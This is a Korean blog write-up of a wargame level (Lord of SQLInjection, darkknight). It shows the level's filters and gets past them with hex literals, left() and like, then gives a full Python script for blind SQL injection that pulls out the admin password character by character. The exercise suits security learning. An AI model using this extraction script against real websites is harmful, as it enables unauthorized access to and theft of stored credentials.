본문 바로가기

web/Lord of SQLInjection

Lord of SQLInjection - 12번 : darkknight

문제 살펴보기

los darkknight 문제

 

지금까지 계속 문제를 풀었다면

이제 대충 코드 길이만 봐도 blind sql injection 문제인 것을 확인할 수 있다.

 

 

 

 

 

                                                 if(preg_match('/\'/i'$_GET[pw])) exit("HeHe");
                                                 if(
preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe");

 

pw 파라미터로 값을 전달할 때 single quote(')를 사용할 수 없고,

no 파라미터로 값을 전달할 때 single quote('), 'substr', 'ascii', '='를 사용할 수 없다.

 

pw 파라미터의 필터링은 "and no=~" 부분을 주석처리 하는 것을 막은 것 같고,

no 파라미터의 필터링은 이전 문제들에서 이미 우회해봤으니 쉽게 풀릴 것 같다.

 

 

 

 

 

              $query "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";

              ...
             
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
              if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>";

 

위 where 문이 참일 경우,

"Hello (반환된 행의 id 컬럼의 값)"이 출력된다.

역시 이를 활용하여 blind sql injection을 진행하는 문제이다.

 

 

 

 

 

                              $_GET[pw] = addslashes($_GET[pw]); 
                              $query "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";

                              $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
                              if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");

 

pw 파라미터를 통해 전달한 데이터의 특수문자를 이스케이프 처리하고,

해당 값이 id='admin'인 행의 pw 컬럼의 값과 같을 경우, solve 함수를 호출한다.

요약하자면, admin의 pw 값을 구하라고 한다.

 

 

 

 

 

문제 풀이 과정

따옴표를 사용할 수 없으니, 0x + hex값을 이용하여 문자열을 나타낼 것이다.

substr의 경우, 이를 대체할 문자열을 슬라이싱하는 함수가 여러 개 있고,

나는 계속 left 함수를 사용하였으니, 문제가 되지 않는다.

'=' 연산자는 이전 문제에서 설명한 대로 'like' 연산자로 대체하면 된다.

 

like 연산자에 대한 간단한 설명은 이전 문제 풀이를 참고하세요.

https://security-babo.tistory.com/13

 

Lord of SQLInjection - 11번 : golem

문제를 풀기 전에 간단하게 sql의 like 연산자에 대해서 살펴보도록 하자. sql에서 'A' like 'B'는 'A'와 'B'의 동일 여부를 판단하는 연산자이다. like의 연산자는 '%', '_'와 함께 사용할 수 있는데, '%'는

security-babo.tistory.com

 

 

 

 

 

pw 값의 길이는 역시 length 함수를 사용하여 구하면 된다.

아래는 pw의 길이를 구하는 python 코드이다.

 


def find_admin_pw_length():     #id='admin'인 행의 pw의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'no': "1 or id like 0x61646d696e and length(pw)>"+str(i)+"#"}
        #?no=1 or id like 0x61646d696e and length(pw)>i#
        res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
        if("Hello admin" not in res.text):                  #i 값이 length(pw)일 경우 length(pw)보다
            return i                                        #크지 않으므로, Hello admin이 출력되지 않음
 

 

위 함수를 실행시키면 아래와 같이 pw 값의 길이를 구할 수 있다.

 

 

 

 

 


length = find_admin_pw_length()
print("length :", length)

 

pw 값의 길이

 

모든 문제의 pw 값의 길이는 8로 고정인가...? 계속 8만 나오네

어쨌든 이제 이를 이용하여 pw 값을 구하도록 하자.

 

 

 

 

 

아래는 pw 값을 구하는 python 코드이다.

 

       
def find_password(length):      
    pw = ""
    for i in range(1, length+1):    #pw의 길이만큼 반복
        for char in chars:          #chars = "숫자+알파벳 대소문자+특수문자"
            pw+char
            params = {'no': "1 or id like 0x61646d696e and left(pw,"+str(i)+") like 0x"+((pw+char).encode("utf-8").hex())+"#"}
            #?no=1 or id like 0x61646d696e and left(pw,i) like 0x+hex값#
            res = req.get(url, cookies=cookies, params=params)
            if("Hello admin" in res.text):
                pw+=char            
                break
    return pw

 

pw+char 문자열을 utf-8로 인코딩해준 이유는 hex값으로 변환시키기 위해서이다.

이제 위 함수를 실행시켜 pw 값을 구하도록 하자.

 

 

 

 

 


pw_value = find_password(8)
print("pw_value :", pw_value)

 

pw 컬럼의 값

 

이제 이걸 pw 파라미터로 넣어주면 문제가 풀릴 것이다.

 

 

 

 

 

darkknight clear

 

전체 python 코드

 


import requests as req
import string

cookies = {'PHPSESSID' : '쿠키값'# cookie 값
chars = string.digits+string.ascii_letters+string.punctuation     # 숫자+알파벳+특수문자

def find_admin_pw_length():     # id='admin'인 행의 pw의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'no': "1 or id like 0x61646d696e and length(pw)>"+str(i)+"#"}
        # ?no=1 or id like 0x61646d696e and length(pw)>i#
        res = req.get(url, cookies=cookies, params=params)  # get 방식으로 데이터 전송
        if("Hello admin" not in res.text):                  # i 값이 length(pw)일 경우 length(pw)보다
            return i                                        # 크지 않으므로, Hello admin이 출력되지 않음
       
def find_password(length):      
    pw = ""
    for i in range(1, length+1):    # pw의 길이만큼 반복
        for char in chars:          # chars = "숫자+알파벳 대소문자+특수문자"
            pw+char
            params = {'no': "1 or id like 0x61646d696e and left(pw,"+str(i)+") like 0x"+((pw+char).encode("utf-8").hex())+"#"}
            # ?no=1 or id like 0x61646d696e and left(pw,i) like 0x+hex값#
            res = req.get(url, cookies=cookies, params=params)   # get 방식으로 데이터 전달
            if("Hello admin" in res.text): # id like 0x61646d696e and left(pw,i) like 0x+hex값이 참일 경우, "Hello admin" 출력
                pw+=char            
                break
    return pw

 

 

 

 

 

python에서 문자열을 hex값으로 바꾸는 방법은 아래 링크를 참고하면 된다.

https://www.slingacademy.com/article/python-ways-to-convert-a-string-to-a-hexadecimal-value/